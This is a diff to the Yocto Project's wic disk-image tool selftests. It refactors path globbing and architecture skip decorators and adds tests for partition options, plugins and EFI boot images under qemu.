def test_build_artifacts(self):
"""Test wic create directdisk providing all artifacts."""
bb_vars = get_bb_vars(['STAGING_DATADIR', 'RECIPE_SYSROOT_NATIVE'],
@@ -271,28 +325,28 @@ class Wic(WicTestCase):
"-n %(recipe_sysroot_native)s "
"-r %(image_rootfs)s "
"-o %(resultdir)s" % bbvars)
- self.assertEqual(1, len(glob(self.resultdir + "directdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "directdisk-*.direct"))))
def test_compress_gzip(self):
"""Test compressing an image with gzip"""
runCmd("wic create wictestdisk "
"--image-name core-image-minimal "
"-c gzip -o %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct.gz")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct.gz"))))
def test_compress_bzip2(self):
"""Test compressing an image with bzip2"""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-c bzip2 -o %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct.bz2")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct.bz2"))))
def test_compress_xz(self):
"""Test compressing an image with xz"""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"--compress-with=xz -o %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct.xz")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct.xz"))))
def test_wrong_compressor(self):
"""Test how wic breaks if wrong compressor is provided"""
@@ -306,21 +360,23 @@ class Wic(WicTestCase):
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-D -o %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "tmp.wic*"))))
def test_debug_long(self):
"""Test --debug option"""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"--debug -o %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "tmp.wic*"))))
def test_skip_build_check_short(self):
"""Test -s option"""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-s -o %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))))
def test_skip_build_check_long(self):
"""Test --skip-build-check option"""
@@ -328,14 +384,14 @@ class Wic(WicTestCase):
"--image-name=core-image-minimal "
"--skip-build-check "
"--outdir %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))))
def test_build_rootfs_short(self):
"""Test -f option"""
runCmd("wic create wictestdisk "
"--image-name=core-image-minimal "
"-f -o %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))))
def test_build_rootfs_long(self):
"""Test --build-rootfs option"""
@@ -343,9 +399,10 @@ class Wic(WicTestCase):
"--image-name=core-image-minimal "
"--build-rootfs "
"--outdir %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ # TODO this doesn't have to be x86-specific
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_rootfs_indirect_recipes(self):
"""Test usage of rootfs plugin with rootfs recipes"""
runCmd("wic create directdisk-multi-rootfs "
@@ -353,9 +410,10 @@ class Wic(WicTestCase):
"--rootfs rootfs1=core-image-minimal "
"--rootfs rootfs2=core-image-minimal "
"--outdir %s" % self.resultdir)
- self.assertEqual(1, len(glob(self.resultdir + "directdisk-multi-rootfs*.direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "directdisk-multi-rootfs*.direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ # TODO this doesn't have to be x86-specific
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_rootfs_artifacts(self):
"""Test usage of rootfs plugin with rootfs paths"""
bb_vars = get_bb_vars(['STAGING_DATADIR', 'RECIPE_SYSROOT_NATIVE'],
@@ -372,7 +430,7 @@ class Wic(WicTestCase):
"--rootfs-dir rootfs1=%(image_rootfs)s "
"--rootfs-dir rootfs2=%(image_rootfs)s "
"--outdir %(resultdir)s" % bbvars)
- self.assertEqual(1, len(glob(self.resultdir + "%(wks)s-*.direct" % bbvars)))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "%(wks)s-*.direct" % bbvars))))
def test_exclude_path(self):
"""Test --exclude-path wks option."""
@@ -393,7 +451,7 @@ part /etc --source rootfs --ondisk mmcblk0 --fstype=ext4 --exclude-path bin/ --r
% (wks_file, self.resultdir))
os.remove(wks_file)
- wicout = glob(self.resultdir + "%s-*direct" % 'temp')
+ wicout = glob(os.path.join(self.resultdir, "%s-*direct" % 'temp'))
self.assertEqual(1, len(wicout))
wicimg = wicout[0]
@@ -577,6 +635,9 @@ part / --source rootfs --fstype=ext4 --include-path %s --include-path core-imag
def test_permissions(self):
"""Test permissions are respected"""
+ # prepare wicenv and rootfs
+ bitbake('core-image-minimal core-image-minimal-mtdutils -c do_rootfs_wicenv')
+
oldpath = os.environ['PATH']
os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
@@ -610,6 +671,19 @@ part /etc --source rootfs --fstype=ext4 --change-directory=etc
res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part))
self.assertEqual(True, files_own_by_root(res.output))
+ config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "%s"\n' % wks_file
+ self.append_config(config)
+ bitbake('core-image-minimal')
+ tmpdir = os.path.join(get_bb_var('WORKDIR', 'core-image-minimal'),'build-wic')
+
+ # check each partition for permission
+ for part in glob(os.path.join(tmpdir, 'temp-*.direct.p*')):
+ res = runCmd("debugfs -R 'ls -p' %s 2>/dev/null" % (part))
+ self.assertTrue(files_own_by_root(res.output)
+ ,msg='Files permission incorrect using wks set "%s"' % test)
+
+ # clean config and result directory for next cases
+ self.remove_config(config)
rmtree(self.resultdir, ignore_errors=True)
finally:
@@ -657,21 +731,130 @@ part /etc --source rootfs --fstype=ext4 --change-directory=etc
% (wks_file, self.resultdir), ignore_status=True).status)
os.remove(wks_file)
+ def test_no_fstab_update(self):
+ """Test --no-fstab-update wks option."""
+
+ oldpath = os.environ['PATH']
+ os.environ['PATH'] = get_bb_var("PATH", "wic-tools")
+
+ # Get stock fstab from base-files recipe
+ bitbake('base-files -c do_install')
+ bf_fstab = os.path.join(get_bb_var('D', 'base-files'), 'etc', 'fstab')
+ self.assertEqual(True, os.path.exists(bf_fstab))
+ bf_fstab_md5sum = runCmd('md5sum %s 2>/dev/null' % bf_fstab).output.split(" ")[0]
+
+ try:
+ no_fstab_update_path = os.path.join(self.resultdir, 'test-no-fstab-update')
+ os.makedirs(no_fstab_update_path)
+ wks_file = os.path.join(no_fstab_update_path, 'temp.wks')
+ with open(wks_file, 'w') as wks:
+ wks.writelines(['part / --source rootfs --fstype=ext4 --label rootfs\n',
+ 'part /mnt/p2 --source rootfs --rootfs-dir=core-image-minimal ',
+ '--fstype=ext4 --label p2 --no-fstab-update\n'])
+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+
+ part_fstab_md5sum = []
+ for i in range(1, 3):
+ part = glob(os.path.join(self.resultdir, 'temp-*.direct.p') + str(i))[0]
+ part_fstab = runCmd("debugfs -R 'cat etc/fstab' %s 2>/dev/null" % (part))
+ part_fstab_md5sum.append(hashlib.md5((part_fstab.output + "\n\n").encode('utf-8')).hexdigest())
+
+ # '/etc/fstab' in partition 2 should contain the same stock fstab file
+ # as the one installed by the base-file recipe.
+ self.assertEqual(bf_fstab_md5sum, part_fstab_md5sum[1])
+
+ # '/etc/fstab' in partition 1 should contain an updated fstab file.
+ self.assertNotEqual(bf_fstab_md5sum, part_fstab_md5sum[0])
+
+ finally:
+ os.environ['PATH'] = oldpath
+
+ def test_no_fstab_update_errors(self):
+ """Test --no-fstab-update wks option error handling."""
+ wks_file = 'temp.wks'
+
+ # Absolute argument.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --no-fstab-update /etc")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ # Argument pointing to parent directory.
+ with open(wks_file, 'w') as wks:
+ wks.write("part / --source rootfs --fstype=ext4 --no-fstab-update ././..")
+ self.assertNotEqual(0, runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir), ignore_status=True).status)
+ os.remove(wks_file)
+
+ def test_extra_space(self):
+ """Test --extra-space wks option."""
+ extraspace = 1024**3
+ runCmd("wic create wictestdisk "
+ "--image-name core-image-minimal "
+ "--extra-space %i -o %s" % (extraspace ,self.resultdir))
+ wicout = glob(os.path.join(self.resultdir, "wictestdisk-*.direct"))
+ self.assertEqual(1, len(wicout))
+ size = os.path.getsize(wicout[0])
+ self.assertTrue(size > extraspace, msg="Extra space not present (%s vs %s)" % (size, extraspace))
+
+ def test_no_table(self):
+ """Test --no-table wks option."""
+ wks_file = 'temp.wks'
+
+ # Absolute argument.
+ with open(wks_file, 'w') as wks:
+ wks.write("part testspace --no-table --fixed-size 16k --offset 4080k")
+ runCmd("wic create %s --image-name core-image-minimal -o %s" % (wks_file, self.resultdir))
+
+ wicout = glob(os.path.join(self.resultdir, "*.*"))
+
+ self.assertEqual(1, len(wicout))
+ size = os.path.getsize(wicout[0])
+ self.assertEqual(size, 4 * 1024 * 1024)
+
+ os.remove(wks_file)
+
+ def test_partition_hidden_attributes(self):
+ """Test --hidden wks option."""
+ wks_file = 'temp.wks'
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+ try:
+ with open(wks_file, 'w') as wks:
+ wks.write("""
+part / --source rootfs --fstype=ext4
+part / --source rootfs --fstype=ext4 --hidden
+bootloader --ptable gpt""")
+
+ runCmd("wic create %s -e core-image-minimal -o %s" \
+ % (wks_file, self.resultdir))
+ wicout = os.path.join(self.resultdir, "*.direct")
+
+ result = runCmd("%s/usr/sbin/sfdisk --part-attrs %s 1" % (sysroot, wicout))
+ self.assertEqual('', result.output)
+ result = runCmd("%s/usr/sbin/sfdisk --part-attrs %s 2" % (sysroot, wicout))
+ self.assertEqual('RequiredPartition', result.output)
+
+ finally:
+ os.remove(wks_file)
+
+
class Wic2(WicTestCase):
def test_bmap_short(self):
"""Test generation of .bmap file -m option"""
cmd = "wic create wictestdisk -e core-image-minimal -m -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*direct")))
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*direct.bmap")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*direct"))))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*direct.bmap"))))
def test_bmap_long(self):
"""Test generation of .bmap file --bmap option"""
cmd = "wic create wictestdisk -e core-image-minimal --bmap -o %s" % self.resultdir
runCmd(cmd)
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*direct")))
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*direct.bmap")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*direct"))))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*direct.bmap"))))
def test_image_env(self):
"""Test generation of <image>.env files."""
@@ -682,20 +865,20 @@ class Wic2(WicTestCase):
basename = bb_vars['IMAGE_BASENAME']
self.assertEqual(basename, image)
path = os.path.join(imgdatadir, basename) + '.env'
- self.assertTrue(os.path.isfile(path))
+ self.assertTrue(os.path.isfile(path), msg="File %s wasn't generated as expected" % path)
wicvars = set(bb_vars['WICVARS'].split())
# filter out optional variables
wicvars = wicvars.difference(('DEPLOY_DIR_IMAGE', 'IMAGE_BOOT_FILES',
'INITRD', 'INITRD_LIVE', 'ISODIR','INITRAMFS_IMAGE',
'INITRAMFS_IMAGE_BUNDLE', 'INITRAMFS_LINK_NAME',
- 'APPEND'))
+ 'APPEND', 'IMAGE_EFI_BOOT_FILES'))
with open(path) as envfile:
content = dict(line.split("=", 1) for line in envfile)
# test if variables used by wic present in the .env file
for var in wicvars:
self.assertTrue(var in content, "%s is not in .env file" % var)
- self.assertTrue(content[var])
+ self.assertTrue(content[var], "%s doesn't have a value (%s)" % (var, content[var]))
def test_image_vars_dir_short(self):
"""Test image vars directory selection -v option"""
@@ -707,7 +890,7 @@ class Wic2(WicTestCase):
"--image-name=%s -v %s -n %s -o %s"
% (image, imgenvdir, native_sysroot,
self.resultdir))
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*direct"))))
def test_image_vars_dir_long(self):
"""Test image vars directory selection --vars option"""
@@ -722,58 +905,62 @@ class Wic2(WicTestCase):
"--outdir %s"
% (image, imgenvdir, native_sysroot,
self.resultdir))
- self.assertEqual(1, len(glob(self.resultdir + "wictestdisk-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "wictestdisk-*direct"))))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ # TODO this test could also work on aarch64
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_wic_image_type(self):
"""Test building wic images by bitbake"""
config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "wic-image-minimal"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
- self.assertEqual(0, bitbake('wic-image-minimal').status)
+ image = 'wic-image-minimal'
+ bitbake(image)
self.remove_config(config)
- bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'MACHINE'])
- deploy_dir = bb_vars['DEPLOY_DIR_IMAGE']
- machine = bb_vars['MACHINE']
- prefix = os.path.join(deploy_dir, 'wic-image-minimal-%s.' % machine)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+ prefix = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], '%s.' % bb_vars['IMAGE_LINK_NAME'])
+
# check if we have result image and manifests symlinks
# pointing to existing files
for suffix in ('wic', 'manifest'):
path = prefix + suffix
- self.assertTrue(os.path.islink(path))
- self.assertTrue(os.path.isfile(os.path.realpath(path)))
+ self.assertTrue(os.path.islink(path), msg="Link %s wasn't generated as expected" % path)
+ self.assertTrue(os.path.isfile(os.path.realpath(path)), msg="File linked to by %s wasn't generated as expected" % path)
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ # TODO this should work on aarch64
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
+ @OETestTag("runqemu")
def test_qemu(self):
"""Test wic-image-minimal under qemu"""
config = 'IMAGE_FSTYPES += "wic"\nWKS_FILE = "wic-image-minimal"\n'\
- 'MACHINE_FEATURES_append = " efi"\n'
+ 'MACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
- self.assertEqual(0, bitbake('wic-image-minimal').status)
+ bitbake('wic-image-minimal')
self.remove_config(config)
- with runqemu('wic-image-minimal', ssh=False) as qemu:
+ with runqemu('wic-image-minimal', ssh=False, runqemuparams='nographic') as qemu:
cmd = "mount | grep '^/dev/' | cut -f1,3 -d ' ' | egrep -c -e '/dev/sda1 /boot' " \
"-e '/dev/root /|/dev/sda2 /' -e '/dev/sda3 /media' -e '/dev/sda4 /mnt'"
status, output = qemu.run_serial(cmd)
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
self.assertEqual(output, '4')
- cmd = "grep UUID= /etc/fstab"
+ cmd = "grep UUID=2c71ef06-a81d-4735-9d3a-379b69c6bdba /etc/fstab"
status, output = qemu.run_serial(cmd)
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
self.assertEqual(output, 'UUID=2c71ef06-a81d-4735-9d3a-379b69c6bdba\t/media\text4\tdefaults\t0\t0')
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
+ @OETestTag("runqemu")
def test_qemu_efi(self):
"""Test core-image-minimal efi image under qemu"""
config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "mkefidisk.wks"\n'
self.append_config(config)
- self.assertEqual(0, bitbake('core-image-minimal ovmf').status)
+ bitbake('core-image-minimal ovmf')
self.remove_config(config)
with runqemu('core-image-minimal', ssh=False,
- runqemuparams='ovmf', image_fstype='wic') as qemu:
+ runqemuparams='nographic ovmf', image_fstype='wic') as qemu:
cmd = "grep sda. /proc/partitions |wc -l"
status, output = qemu.run_serial(cmd)
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
@@ -802,7 +989,7 @@ class Wic2(WicTestCase):
wksname = os.path.splitext(os.path.basename(wkspath))[0]
- wicout = glob(self.resultdir + "%s-*direct" % wksname)
+ wicout = glob(os.path.join(self.resultdir, "%s-*direct" % wksname))
if not wicout:
return (p, None)
@@ -890,6 +1077,30 @@ class Wic2(WicTestCase):
])
with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that partitions can be placed on a 512 byte sector boundary
+ tempf.write("bootloader --ptable gpt\n" \
+ "part / --source rootfs --ondisk hda --offset 65s --fixed-size 99M --fstype=ext4\n" \
+ "part /bar --ondisk hda --offset 102432 --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(partlns, [
+ "1:32.5kiB:101408kiB:101376kiB:ext4:primary:;",
+ "2:102432kiB:204832kiB:102400kiB:ext4:primary:;",
+ ])
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
+ # Test that a partition can be placed immediately after a MSDOS partition table
+ tempf.write("bootloader --ptable msdos\n" \
+ "part / --source rootfs --ondisk hda --offset 1s --fixed-size 100M --fstype=ext4\n")
+ tempf.flush()
+
+ _, partlns = self._get_wic_partitions(tempf.name, native_sysroot)
+ self.assertEqual(partlns, [
+ "1:0.50kiB:102400kiB:102400kiB:ext4::;",
+ ])
+
+ with NamedTemporaryFile("w", suffix=".wks") as tempf:
# Test that image creation fails if the partitions would overlap
tempf.write("bootloader --ptable gpt\n" \
"part / --source rootfs --ondisk hda --offset 32 --fixed-size 100M --fstype=ext4\n" \
@@ -923,47 +1134,88 @@ class Wic2(WicTestCase):
size = int(size[:-3])
self.assertGreaterEqual(size, 204800)
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ # TODO this test could also work on aarch64
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
+ @OETestTag("runqemu")
def test_rawcopy_plugin_qemu(self):
"""Test rawcopy plugin in qemu"""
- # build ext4 and wic images
- for fstype in ("ext4", "wic"):
- config = 'IMAGE_FSTYPES = "%s"\nWKS_FILE = "test_rawcopy_plugin.wks.in"\n' % fstype
- self.append_config(config)
- self.assertEqual(0, bitbake('core-image-minimal').status)
- self.remove_config(config)
-
- with runqemu('core-image-minimal', ssh=False, image_fstype='wic') as qemu:
+ # build ext4 and then use it for a wic image
+ config = 'IMAGE_FSTYPES = "ext4"\n'
+ self.append_config(config)
+ bitbake('core-image-minimal')
+ image_link_name = get_bb_var('IMAGE_LINK_NAME', 'core-image-minimal')
+ self.remove_config(config)
+
+ config = 'IMAGE_FSTYPES = "wic"\n' \
+ 'IMAGE_LINK_NAME_CORE_IMAGE_MINIMAL = "%s"\n'\
+ 'WKS_FILE = "test_rawcopy_plugin.wks.in"\n'\
+ % image_link_name
+ self.append_config(config)
+ bitbake('core-image-minimal-mtdutils')
+ self.remove_config(config)
+
+ with runqemu('core-image-minimal-mtdutils', ssh=False,
+ runqemuparams='nographic', image_fstype='wic') as qemu:
cmd = "grep sda. /proc/partitions |wc -l"
status, output = qemu.run_serial(cmd)
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
self.assertEqual(output, '2')
- def test_rawcopy_plugin(self):
+ def _rawcopy_plugin(self, fstype):
"""Test rawcopy plugin"""
- img = 'core-image-minimal'
- machine = get_bb_var('MACHINE', img)
+ image = 'core-image-minimal'
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+ params = ',unpack' if fstype.endswith('.gz') else ''
with NamedTemporaryFile("w", suffix=".wks") as wks:
- wks.writelines(['part /boot --active --source bootimg-pcbios\n',
- 'part / --source rawcopy --sourceparams="file=%s-%s.ext4" --use-uuid\n'\
- % (img, machine),
- 'bootloader --timeout=0 --append="console=ttyS0,115200n8"\n'])
+ wks.write('part / --source rawcopy --sourceparams="file=%s.%s%s"\n'\
+ % (bb_vars['IMAGE_LINK_NAME'], fstype, params))
wks.flush()
- cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
+ cmd = "wic create %s -e %s -o %s" % (wks.name, image, self.resultdir)
runCmd(cmd)
wksname = os.path.splitext(os.path.basename(wks.name))[0]
- out = glob(self.resultdir + "%s-*direct" % wksname)
+ out = glob(os.path.join(self.resultdir, "%s-*direct" % wksname))
self.assertEqual(1, len(out))
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ def test_rawcopy_plugin(self):
+ self._rawcopy_plugin('ext4')
+
+ def test_rawcopy_plugin_unpack(self):
+ fstype = 'ext4.gz'
+ config = 'IMAGE_FSTYPES = "%s"\n' % fstype
+ self.append_config(config)
+ self.assertEqual(0, bitbake('core-image-minimal').status)
+ self.remove_config(config)
+ self._rawcopy_plugin(fstype)
+
+ def test_empty_plugin(self):
+ """Test empty plugin"""
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_empty_plugin.wks"\n'
+ self.append_config(config)
+ image = 'core-image-minimal'
+ bitbake(image)
+ self.remove_config(config)
+ bb_vars = get_bb_vars(['DEPLOY_DIR_IMAGE', 'IMAGE_LINK_NAME'], image)
+ image_path = os.path.join(bb_vars['DEPLOY_DIR_IMAGE'], '%s.wic' % bb_vars['IMAGE_LINK_NAME'])
+ self.assertTrue(os.path.exists(image_path), msg="Image file %s wasn't generated as expected" % image_path)
+
+ sysroot = get_bb_var('RECIPE_SYSROOT_NATIVE', 'wic-tools')
+
+ # Fstype column from 'wic ls' should be empty for the second partition
+ # as listed in test_empty_plugin.wks
+ result = runCmd("wic ls %s -n %s | awk -F ' ' '{print $1 \" \" $5}' | grep '^2' | wc -w" % (image_path, sysroot))
+ self.assertEqual('1', result.output)
+
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
+ @OETestTag("runqemu")
def test_biosplusefi_plugin_qemu(self):
"""Test biosplusefi plugin in qemu"""
- config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES_append = " efi"\n'
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
- self.assertEqual(0, bitbake('core-image-minimal').status)
+ bitbake('core-image-minimal')
self.remove_config(config)
- with runqemu('core-image-minimal', ssh=False, image_fstype='wic') as qemu:
+ with runqemu('core-image-minimal', ssh=False,
+ runqemuparams='nographic', image_fstype='wic') as qemu:
# Check that we have ONLY two /dev/sda* partitions (/boot and /)
cmd = "grep sda. /proc/partitions | wc -l"
status, output = qemu.run_serial(cmd)
@@ -986,7 +1238,7 @@ class Wic2(WicTestCase):
self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
self.assertEqual(output, '*')
- @only_for_arch(['i586', 'i686', 'x86_64'])
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
def test_biosplusefi_plugin(self):
"""Test biosplusefi plugin"""
# Wic generation below may fail depending on the order of the unittests
@@ -995,9 +1247,9 @@ class Wic2(WicTestCase):
# If an image hasn't been built yet, directory ${STAGING_DATADIR}/syslinux won't exists and _get_bootimg_dir()
# will raise with "Couldn't find correct bootimg_dir"
# The easiest way to work-around this issue is to make sure we already built an image here, hence the bitbake call
- config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES_append = " efi"\n'
+ config = 'IMAGE_FSTYPES = "wic"\nWKS_FILE = "test_biosplusefi_plugin.wks"\nMACHINE_FEATURES:append = " efi"\n'
self.append_config(config)
- self.assertEqual(0, bitbake('core-image-minimal').status)
+ bitbake('core-image-minimal')
self.remove_config(config)
img = 'core-image-minimal'
@@ -1009,9 +1261,60 @@ class Wic2(WicTestCase):
cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
runCmd(cmd)
wksname = os.path.splitext(os.path.basename(wks.name))[0]
- out = glob(self.resultdir + "%s-*.direct" % wksname)
+ out = glob(os.path.join(self.resultdir, "%s-*.direct" % wksname))
self.assertEqual(1, len(out))
+ @skipIfNotArch(['i586', 'i686', 'x86_64', 'aarch64'])
+ def test_uefi_kernel(self):
+ """ Test uefi-kernel in wic """
+ config = 'IMAGE_EFI_BOOT_FILES="/etc/fstab;testfile"\nIMAGE_FSTYPES = "wic"\nWKS_FILE = "test_uefikernel.wks"\nMACHINE_FEATURES:append = " efi"\n'
+ self.append_config(config)
+ bitbake('core-image-minimal')
+ self.remove_config(config)
+
+ img = 'core-image-minimal'
+ with NamedTemporaryFile("w", suffix=".wks") as wks:
+ wks.writelines(['part /boot --source bootimg-efi --sourceparams="loader=uefi-kernel"\n'
+ 'part / --source rootfs --fstype=ext4 --align 1024 --use-uuid\n'\
+ 'bootloader --timeout=0 --append="console=ttyS0,115200n8"\n'])
+ wks.flush()
+ cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
+ runCmd(cmd)
+ wksname = os.path.splitext(os.path.basename(wks.name))[0]
+ out = glob(os.path.join(self.resultdir, "%s-*.direct" % wksname))
+ self.assertEqual(1, len(out))
+
+ # TODO this test could also work on aarch64
+ @skipIfNotArch(['i586', 'i686', 'x86_64'])
+ @OETestTag("runqemu")
+ def test_efi_plugin_unified_kernel_image_qemu(self):
+ """Test efi plugin's Unified Kernel Image feature in qemu"""
+ config = 'IMAGE_FSTYPES = "wic"\n'\
+ 'INITRAMFS_IMAGE = "core-image-minimal-initramfs"\n'\
+ 'WKS_FILE = "test_efi_plugin.wks"\n'\
+ 'MACHINE_FEATURES:append = " efi"\n'
+ self.append_config(config)
+ bitbake('core-image-minimal core-image-minimal-initramfs ovmf')
+ self.remove_config(config)
+
+ with runqemu('core-image-minimal', ssh=False,
+ runqemuparams='nographic ovmf', image_fstype='wic') as qemu:
+ # Check that /boot has EFI bootx64.efi (required for EFI)
+ cmd = "ls /boot/EFI/BOOT/bootx64.efi | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '1')
+ # Check that /boot has EFI/Linux/linux.efi (required for Unified Kernel Images auto detection)
+ cmd = "ls /boot/EFI/Linux/linux.efi | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '1')
+ # Check that /boot doesn't have loader/entries/boot.conf (Unified Kernel Images are auto detected by the bootloader)
+ cmd = "ls /boot/loader/entries/boot.conf 2&>/dev/null | wc -l"
+ status, output = qemu.run_serial(cmd)
+ self.assertEqual(1, status, 'Failed to run command "%s": %s' % (cmd, output))
+ self.assertEqual(output, '0')
+
def test_fs_types(self):
"""Test filesystem types for empty and not empty partitions"""
img = 'core-image-minimal'
@@ -1028,7 +1331,7 @@ class Wic2(WicTestCase):
cmd = "wic create %s -e %s -o %s" % (wks.name, img, self.resultdir)
runCmd(cmd)
wksname = os.path.splitext(os.path.basename(wks.name))[0]
- out = glob(self.resultdir + "%s-*direct" % wksname)
+ out = glob(os.path.join(self.resultdir, "%s-*direct" % wksname))
self.assertEqual(1, len(out))
def test_kickstart_parser(self):
@@ -1040,7 +1343,7 @@ class Wic2(WicTestCase):
cmd = "wic create %s -e core-image-minimal -o %s" % (wks.name, self.resultdir)
runCmd(cmd)
wksname = os.path.splitext(os.path.basename(wks.name))[0]
- out = glob(self.resultdir + "%s-*direct" % wksname)
+ out = glob(os.path.join(self.resultdir, "%s-*direct" % wksname))
self.assertEqual(1, len(out))
def test_image_bootpart_globbed(self):
@@ -1051,11 +1354,11 @@ class Wic2(WicTestCase):
self.append_config(config)
runCmd(cmd)
self.remove_config(config)
- self.assertEqual(1, len(glob(self.resultdir + "sdimage-bootpart-*direct")))
+ self.assertEqual(1, len(glob(os.path.join(self.resultdir, "sdimage-bootpart-*direct"))))
def test_sparse_copy(self):
"""Test sparse_copy with FIEMAP and SEEK_HOLE filemap APIs"""
- libpath = os.path.join(get_bb_var('COREBASE'), 'scripts', 'lib', 'wic')
+ libpath = os.path.join(self.td['COREBASE'], 'scripts', 'lib', 'wic')
sys.path.insert(0, libpath)
from filemap import FilemapFiemap, FilemapSeek, sparse_copy, ErrorNotSupp
